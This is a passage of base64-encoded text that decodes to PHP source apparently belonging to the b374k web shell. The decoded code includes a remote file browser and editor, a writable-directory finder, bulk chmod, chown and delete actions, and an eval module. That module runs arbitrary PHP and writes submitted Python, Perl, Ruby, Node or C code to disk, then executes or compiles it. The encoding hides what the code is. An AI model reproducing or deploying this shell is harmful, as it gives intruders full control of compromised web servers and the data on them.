biBjbGFzcz0nc3Ryb25nJz5bIDwvc3Bhbj5WaWV3IEZ1bGwgU2l6ZTxzcGFuIGNsYXNzPSdzdHJvbmcnPiBdPC9zcGFuPjwvYT48L3A+IjsKCQkJCX0KCQkJCWVsc2UgJGltZ2xpbmsgPSAiIjsKCgkJCQkkY29udGVudCA9ICI8Y2VudGVyPiIuJGltYWdlX2luZm9faC4iPGJyPiIuJGltZ2xpbmsuIgoJCQkJCTxpbWcgaWQ9J3ZpZXdJbWFnZScgc3R5bGU9J3dpZHRoOiIuJHdpZHRoLiJweDsnIHNyYz0nZGF0YToiLiRpbWFnZV9pbmZvWydtaW1lJ10uIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpLiInIGFsdD0nIi4kZmlsZS4iJz48L2NlbnRlcj4KCSI7CgoJCQl9CgkJCWVsc2VpZigkdHlwZT09Im11bHRpbWVkaWEiKXsKCQkJCSRjb250ZW50ID0gIjxjZW50ZXI+CgkJCQkJCQk8dmlkZW8gY29udHJvbHM+CgkJCQkJCQk8c291cmNlIHNyYz0nJyB0eXBlPSciLiRtaW1lLiInPgoKCQkJCQkJCTwvdmlkZW8+CgkJCQkJCQk8cD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibXVsdGltZWRpYSgnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInKTtcIj5Mb2FkIE11bHRpbWVkaWEgRmlsZTwvc3Bhbj48L3A+CgkJCQkJCQk8L2NlbnRlcj4iOwoJCQl9CgkJCWVsc2VpZigkdHlwZT09ImVkaXQiKXsKCQkJCSRwcmVzZXJ2ZWNib3ggPSAoJHByZXNlcnZlVGltZXN0YW1wPT0ndHJ1ZScpPyAiIGNCb3hTZWxlY3RlZCI6IiI7CgkJCQkkY29udGVudCA9ICI8dGFibGUgaWQ9J2VkaXRUYmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlZGl0RmlsZW5hbWUnIGNsYXNzPSdjb2xTcGFuJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGZpbGUpLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdlZGl0X3NhdmVfcmF3Jyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImVkaXRfc2F2ZV9yYXcoKTtcIj5zYXZlPC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Jz48ZGl2IGNsYXNzPSdjQm94Ii4kcHJlc2VydmVjYm94LiInPjwvZGl2PjxzcGFuPnByZXNlcnZlIG1vZGlmaWNhdGlvbiB0aW1lc3RhbXA8L3NwYW4+PHNwYW4gaWQ9J2VkaXRSZXN1bHQnPjwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgaWQ9J2VkaXRJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfY3RybF9lbnRlcih0aGlzLCBldmVudCwgJ2VkaXRfc2F2ZV9yYXcnKTtcIj4iLmh0bWxfc2FmZShyZWFkX2ZpbGUoJGZpbGUpKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOwoJCQl9CgkJCWVsc2VpZigkdHlwZT09ImhleCIpewoJCQkJJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsKCQkJCSRjb250ZW50ID0gIjx0YWJsZSBpZD0nZWRpdFRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2VkaXRGaWxlbmFtZScgY2xhc3M9J2NvbFNwYW4nIHZhbHVlPSciLmh0bWxfc2FmZSgkZmlsZSkuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2VkaXRfc2F2ZV9oZXgnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZWRpdF9zYXZlX2hleCgpO1wiPnNhdmU8L3NwYW4+PC90ZD48dGQgc3R5bGU9J3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsnPjxkaXYgY2xhc3M9J2NCb3giLiRwcmVzZXJ2ZWNib3guIic+PC9kaXY+PHNwYW4+cHJlc2VydmUgbW9kaWZpY2F0aW9uIHRpbWVzdGFtcDwvc3Bhbj48c3BhbiBpZD0nZWRpdEhleFJlc3VsdCc+PC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBpZD0nZWRpdElucHV0JyBzcGVsbGNoZWNrPSdmYWxzZScgb25rZXlkb3duPVwidHJhcF9jdHJsX2VudGVyKHRoaXMsIGV2ZW50LCAnZWRpdF9zYXZlX2hleCcpO1wiPiIuYmluMmhleChyZWFkX2ZpbGUoJGZpbGUpKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOwoJCQl9CgkJCWVsc2UgJGNvbnRlbnQgPSAiPHByZT4iLmh0bWxfc2FmZShyZWFkX2ZpbGUoJGZpbGUpKS4iPC9wcmU+IjsKCgoKCQkJJG91dHB1dCAuPSAiCgk8dGFibGUgaWQ9J3ZpZXdGaWxlJyBjbGFzcz0nYm94dGJsJz4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+RmlsZW5hbWU8L3RkPjx0ZD4iLmh0bWxfc2FmZSgkZmlsZSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIuZ2V0X2ZpbGVzaXplKCRmaWxlKS4iICgiLmZpbGVzaXplKCRmaWxlKS4iKTwvdGQ+PC90cj4KCSIuJG93bmVyLiIKCTx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X2ZpbGVwZXJtcygkZmlsZSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+TGFzdCBtb2RpZmllZDwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6aTpzIixmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPgoJPHRyPjx0ZD5MYXN0IGFjY2Vzc2VkPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+Cgk8dHIgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkZmlsZSkuIic+PHRkIGNvbHNwYW49JzInPgoJPHNwYW4gY2xhc3M9J25hdmlnYXRlIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+ZXhwbG9yZXI8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYWN0aW9uIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+YWN0aW9uPC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ3JhdycpO2hpZGVfYm94KCk7XCI+cmF3PC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ2NvZGUnKTtoaWRlX2JveCgpO1wiPmNvZGU8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaGV4Jyk7aGlkZV9ib3goKTtcIj5oZXg8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaW1hZ2UnKTtoaWRlX2JveCgpO1wiPmltYWdlPC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ211bHRpbWVkaWEnKTtoaWRlX2JveCgpO1wiPm11bHRpbWVkaWE8L3NwYW4+Cgk8L3RkPjwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3ZpZXdGaWxlY29udGVudCc+Ii4kY29udGVudC4iPC9kaXY+PC90ZD48L3RyPgoJPC90YWJsZT4iOwoKCgkJfQoJCWVsc2UgJG91dHB1dCA9ICJlcnJvciI7CgkJcmV0dXJuICRvdXRwdXQ7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF93cml0YWJsZWRpcicpKXsKCWZ1bmN0aW9uIGdldF93cml0YWJsZWRpcigpewoJCWlmKGlzX3dyaXRhYmxlKCIuIikpIHJldHVybiByZWFscGF0aCgiLiIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJZWxzZXsKCQkJZm9yZWFjaChhcnJheSgnVE1QJywgJ1RFTVAnLCAnVE1QRElSJykgYXMgJGspewoJCQkJaWYoIWVtcHR5KCRfRU5WWyRrXSkpewoJCQkJCWlmKGlzX3dyaXRhYmxlKCRfRU5WWyRrXSkpIHJldHVybiByZWFscGF0aCgkX0VOVlska10pLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCQl9CgkJCX0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikpewoJCQkJJGRpciA9IHN5c19nZXRfdGVtcF9kaXIoKTsKCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSByZXR1cm4gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJfQoJCQllbHNlewoJCQkJaWYoIWlzX3dpbigpKXsgaWYoaXNfd3JpdGFibGUoIi90bXAiKSkgcmV0dXJuICIvdG1wLyI7IH0KCQkJfQoKCQkJJHRlbXBmaWxlID0gdGVtcG5hbShfX0ZJTEVfXywnJyk7CgkJCWlmKGZpbGVfZXhpc3RzKCR0ZW1wZmlsZSkpewoJCQkJJGRpciA9IHJlYWxwYXRoKGRpcm5hbWUoJHRlbXBmaWxlKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCXVubGluaygkdGVtcGZpbGUpOwoJCQkJcmV0dXJuICRkaXI7CgkJCX0KCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZHJpdmVzJykpewoJZnVuY3Rpb24gZ2V0X2RyaXZlcygpewoJCSRkcml2ZXMgPSAiIjsKCQkkdiA9IGV4cGxvZGUoIlxcIiwgZ2V0X2N3ZCgpKTsKCQkkdiA9ICR2WzBdOwoJCWZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkbGV0dGVyKXsKCQkJaWYoQGlzX3JlYWRhYmxlKCRsZXR0ZXIuIjpcXCIpKXsKCQkJCSRkcml2ZXMgLj0gIjxhIGNsYXNzPSduYXZiYXInIGRhdGEtcGF0aD0nIi4kbGV0dGVyLiI6XFwnPlsgIjsKCQkJCWlmKCRsZXR0ZXIuIjoiICE9ICR2KSAkZHJpdmVzIC49ICRsZXR0ZXI7CgkJCQllbHNleyRkcml2ZXMgLj0gIjxzcGFuIGNsYXNzPSdkcml2ZS1sZXR0ZXInPiIuJGxldHRlci4iPC9zcGFuPiI7fQoJCQkJJGRyaXZlcyAuPSAiIF08L2E+ICI7CgkJCX0KCQl9CgkJcmV0dXJuICRkcml2ZXM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Nob3dfYWxsX2ZpbGVzJykpewoJZnVuY3Rpb24gc2hvd19hbGxfZmlsZXMoJHBhdGgpewoJCWlmKCFpc19kaXIoJHBhdGgpKSByZXR1cm4gIk5vIHN1Y2ggZGlyZWN0b3J5IDogIi4kcGF0aDsKCQljaGRpcigkcGF0aCk7CgkJJG91dHB1dCA9ICIiOwoJCSRhbGxmaWxlcyA9ICRhbGxmb2xkZXJzID0gYXJyYXkoKTsKCQlpZigkcmVzID0gb3BlbmRpcigkcGF0aCkpewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJHJlcykpewoJCQkJaWYoKCRmaWxlIT0nLicpJiYoJGZpbGUhPSIuLiIpKXsKCQkJCQlpZihpc19kaXIoJGZpbGUpKSAkYWxsZm9sZGVyc1tdID0gJGZpbGU7CgkJCQkJZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSRhbGxmaWxlc1tdID0gJGZpbGU7CgkJCQl9CgkJCX0KCQl9CgoJCWFycmF5X3Vuc2hpZnQoJGFsbGZvbGRlcnMsICIuIik7CgkJJGN1ciA9IGdldGN3ZCgpOwoJCWNoZGlyKCIuLiIpOwoJCWlmKGdldGN3ZCgpIT0kY3VyKSBhcnJheV91bnNoaWZ0KCRhbGxmb2xkZXJzLCAiLi4iKTsKCQljaGRpcigkY3VyKTsKCgkJbmF0Y2FzZXNvcnQoJGFsbGZvbGRlcnMpOwoJCW5hdGNhc2Vzb3J0KCRhbGxmaWxlcyk7CgoJCSRjb2xzID0gYXJyYXkoKTsKCQlpZihpc193aW4oKSl7CgkJCSRjb2xzID0gYXJyYXkoCgkJCQkJInBlcm1zIj0+ImdldF9maWxlcGVybXMiLAoJCQkJCSJtb2RpZmllZCI9PiJnZXRfZmlsZW10aW1lIgoJCQkJCSk7CgkJfQoJCWVsc2V7CgkJCSRjb2xzID0gYXJyYXkoCgkJCQkJIm93bmVyIj0+ImdldF9maWxlb3duZXIiLAoJCQkJCSJwZXJtcyI9PiJnZXRfZmlsZXBlcm1zIiwKCQkJCQkibW9kaWZpZWQiPT4iZ2V0X2ZpbGVtdGltZSIKCQkJCQkpOwoJCX0KCgkJJHRvdGFsRmlsZXMgPSBjb3VudCgkYWxsZmlsZXMpOwoJCSR0b3RhbEZvbGRlcnMgPSAwOwoKCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3hwbFRhYmxlJyBjbGFzcz0nZGF0YVZpZXcgc29ydGFibGUnPjx0aGVhZD4iOwoJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdjb2wtbmFtZSc+bmFtZTwvdGg+PHRoIGNsYXNzPSdjb2wtc2l6ZSc+c2l6ZTwvdGg+IjsKCgkJZm9yZWFjaCgkY29scyBhcyAkaz0+JHYpewoJCQkkb3V0cHV0IC49ICI8dGggY2xhc3M9J2NvbC0iLiRrLiInPiIuJGsuIjwvdGg+IjsKCQl9CgkJJG91dHB1dCAuPSAiPC90cj48L3RoZWFkPjx0Ym9keT4iOwoKCQlmb3JlYWNoKCRhbGxmb2xkZXJzIGFzICRkKXsKCQkJJGNib3hFeGNlcHRpb24gPSAiIjsKCQkJaWYoKCRkPT0iLiIpfHwoJGQ9PSIuLiIpKXsKCQkJCSRhY3Rpb24gPSAiYWN0aW9uZG90IjsKCQkJCSRjYm94RXhjZXB0aW9uID0gIiBjQm94RXhjZXB0aW9uIjsKCQkJfQoJCQllbHNlewoJCQkJJGFjdGlvbiA9ICJhY3Rpb25mb2xkZXIiOwoJCQkJJHRvdGFsRm9sZGVycysrOwoJCQl9CgkJCSRvdXRwdXQgLj0gIgoJPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRkKS5ESVJFQ1RPUllfU0VQQVJBVE9SKS4iXCI+PHRkPjxkaXYgY2xhc3M9J2NCb3giLiRjYm94RXhjZXB0aW9uLiInPjwvZGl2PjwvdGQ+Cgk8dGQgc3R5bGU9J3doaXRlLXNwYWNlOm5vcm1hbDsnPjxhIGNsYXNzPSduYXZpZ2F0ZSc+WyAiLmh0bWxfc2FmZSgkZCkuIiBdPC9hPjxzcGFuIGNsYXNzPSciLiRhY3Rpb24uIiBmbG9hdFJpZ2h0Jz5hY3Rpb248L3NwYW4+PC90ZD4KCTx0ZD5ESVI8L3RkPiI7CgkJCWZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsKCQkJCSRzb3J0YWJsZSA9ICIiOwoJCQkJaWYoJGs9PSdtb2RpZmllZCcpICRzb3J0YWJsZSA9ICIgdGl0bGU9JyIuZmlsZW10aW1lKCRkKS4iJyI7CgkJCQkkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGQpLiI8L3RkPiI7CgkJCX0KCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCX0KCQlmb3JlYWNoKCRhbGxmaWxlcyBhcyAkZil7CgkJCSRvdXRwdXQgLj0gIgoJPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRmKSkuIlwiPjx0ZD48ZGl2IGNsYXNzPSdjQm94Jz48L2Rpdj48L3RkPgoJPHRkIHN0eWxlPSd3aGl0ZS1zcGFjZTpub3JtYWw7Jz48YSBjbGFzcz0ndmlldyc+Ii5odG1sX3NhZmUoJGYpLiI8L2E+PHNwYW4gY2xhc3M9J2FjdGlvbiBmbG9hdFJpZ2h0Jz5hY3Rpb248L3NwYW4+PC90ZD4KCTx0ZCB0aXRsZT0nIi5maWxlc2l6ZSgkZikuIic+Ii5nZXRfZmlsZXNpemUoJGYpLiI8L3RkPiI7CgkJCWZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsKCQkJCSRzb3J0YWJsZSA9ICIiOwoJCQkJaWYoJGs9PSdtb2RpZmllZCcpICRzb3J0YWJsZSA9ICIgdGl0bGU9JyIuZmlsZW10aW1lKCRmKS4iJyI7CgkJCQkkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGYpLiI8L3RkPiI7CgkJCX0KCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCX0KCQkkb3V0cHV0IC49ICI8L3Rib2R5Pjx0Zm9vdD4iOwoKCQkkY29sc3BhbiA9IDEgKyBjb3VudCgkY29scyk7CgkJJG91dHB1dCAuPSAiPHRyPjx0ZD48ZGl2IGNsYXNzPSdjQm94QWxsJz48L2Rpdj48L3RkPjx0ZD4KCQk8c2VsZWN0IGlkPSdtYXNzQWN0aW9uJyBjbGFzcz0nY29sU3Bhbic+CgkJPG9wdGlvbiBkaXNhYmxlZCBzZWxlY3RlZD5BY3Rpb248L29wdGlvbj4KCQk8b3B0aW9uPmN1dDwvb3B0aW9uPgoJCTxvcHRpb24+Y29weTwvb3B0aW9uPgoJCTxvcHRpb24+cGFzdGU8L29wdGlvbj4KCQk8b3B0aW9uPmRlbGV0ZTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPG9wdGlvbj5jaG1vZDwvb3B0aW9uPgoJCTxvcHRpb24+Y2hvd248L29wdGlvbj4KCQk8b3B0aW9uPnRvdWNoPC9vcHRpb24+CgkJPG9wdGlvbiBkaXNhYmxlZD4tLS0tLS0tLS0tLS08L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhci5neik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHppcCk8L29wdGlvbj4KCQk8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPgoJCTxvcHRpb24+Y29tcHJlc3MgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+CgkJPG9wdGlvbj5jb21wcmVzcyAoemlwKTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPC9zZWxlY3Q+CgkJPC90ZD48dGQgY29sc3Bhbj0nIi4kY29sc3Bhbi4iJz48L3RkPjwvdHI+CgkJPHRyPjx0ZD48L3RkPjx0ZCBjb2xzcGFuPSciLisrJGNvbHNwYW4uIic+Ii4kdG90YWxGaWxlcy4iIGZpbGUocyksICIuJHRvdGFsRm9sZGVycy4iIEZvbGRlcihzKTxzcGFuIGNsYXNzPSd4cGxTZWxlY3RlZCc+PC9zcGFuPjwvdGQ+PC90cj4KCQkiOwoJCSRvdXRwdXQgLj0gIjwvdGZvb3Q+PC90YWJsZT4iOwoJCXJldHVybiAkb3V0cHV0OwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdldmFsX2dldF9zdXBwb3J0ZWQnKSl7CglmdW5jdGlvbiBldmFsX2dldF9zdXBwb3J0ZWQoKXsKCQkkZXZhbF9zdXBwb3J0ZWQgPSBhcnJheSgpOwoJCQoJCSRldmFsX3N1cHBvcnRlZFtdID0gInBocCI7CgoJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicHl0aG9uIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicHl0aG9uIjsKCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJwZXJsIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicGVybCI7CgoJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicnVieSAtaCIpKTsKCQlpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInJ1YnkiOwoKCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGUgLWgiKSk7CgkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJub2RlIjsKCQllbHNlewoJCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGVqcyAtaCIpKTsKCQkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJub2RlanMiOwoJCX0KCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJnY2MgLS1oZWxwIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiZ2NjIjsKCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJqYXZhIC1oZWxwIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSl7CgkJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgiamF2YWMgLWhlbHAiKSk7CgkJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiamF2YSI7CgkJfQoKCQlyZXR1cm4gaW1wbG9kZSgiLCIsICRldmFsX3N1cHBvcnRlZCk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ28nKSl7CglmdW5jdGlvbiBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKCQkkcmVzID0gIiI7CgkJJG91dHB1dCA9ICIiOwoJCWlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CgkJaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsKCgkJaWYoJGV2YWxUeXBlPT0icGhwIil7CgkJCW9iX3N0YXJ0KCk7CgkJCWV2YWwoJGV2YWxDb2RlKTsKCQkJJHJlcyA9IG9iX2dldF9jb250ZW50cygpOwoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJcmV0dXJuICRyZXM7CgkJfQoJCWVsc2VpZigoJGV2YWxUeXBlPT0icHl0aG9uIil8fCgkZXZhbFR5cGU9PSJwZXJsIil8fCgkZXZhbFR5cGU9PSJydWJ5Iil8fCgkZXZhbFR5cGU9PSJub2RlIil8fCgkZXZhbFR5cGU9PSJub2RlanMiKSl7CgkJCSR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsKCQkJY2hkaXIoJHRtcGRpcik7CgoJCQkkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7CgkJCWlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKCQkJCSRyZXMgLj0gIiAod3JpdGFibGUpXG4iOwoJCQkJJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKCQkJCSRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKCQkJCSRwYXRoID0gJGZpbGVuYW1lOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJHJlcyAuPSAiU2V0dGluZyBwZXJtaXNzaW9ucyA6IDA3NTUiOwoJCQkJCWlmKGNobW9kKCRwYXRoLCAwNzU1KSl7CgkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkkY21kID0gJGV2YWxUeXBlLiIgIi4kZXZhbE9wdGlvbnMuJHBhdGguJGV2YWxBcmd1bWVudHM7CgkJCQkJCSRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsKCQkJCQkJJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7CgkJCQkJfQoJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQllbHNlaWYoJGV2YWxUeXBlPT0iZ2NjIil7CgkJCSR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsKCQkJY2hkaXIoJHRtcGRpcik7CgoJCQkkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7CgkJCWlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKCQkJCSRyZXMgLj0gIiAod3JpdGFibGUpXG4iOwoJCQkJJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKCQkJCSRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcS4iLmMiOwoJCQkJJHBhdGggPSAkZmlsZW5hbWU7CgkJCQkkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQlpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkkZXh0ID0gKGlzX3dpbigpKT8gIi5leGUiOiIub3V0IjsKCQkJCQkkcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OwoJCQkJCSRldmFsT3B0aW9ucyA9ICItbyAiLiRwYXRocmVzLiIgIi4kZXZhbE9wdGlvbnM7CgkJCQkJJGNtZCA9ICJnY2MgIi4kZXZhbE9wdGlvbnMuJHBhdGg7CgkJCQkJJHJlcyAuPSAiQ29tcGlsaW5nIDogIi4kY21kOwoJCQkJCSRyZXMgLj0gZXhlY3V0ZSgkY21kKTsKCQkJCQlpZihpc19maWxlKCRwYXRocmVzKSl7CgkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkkcmVzIC49ICJTZXR0aW5nIHBlcm1pc3Npb25zIDogMDc1NSI7CgkJCQkJCWlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7CgkJCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkJCSRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsKCQkJCQkJCSRyZXMgLj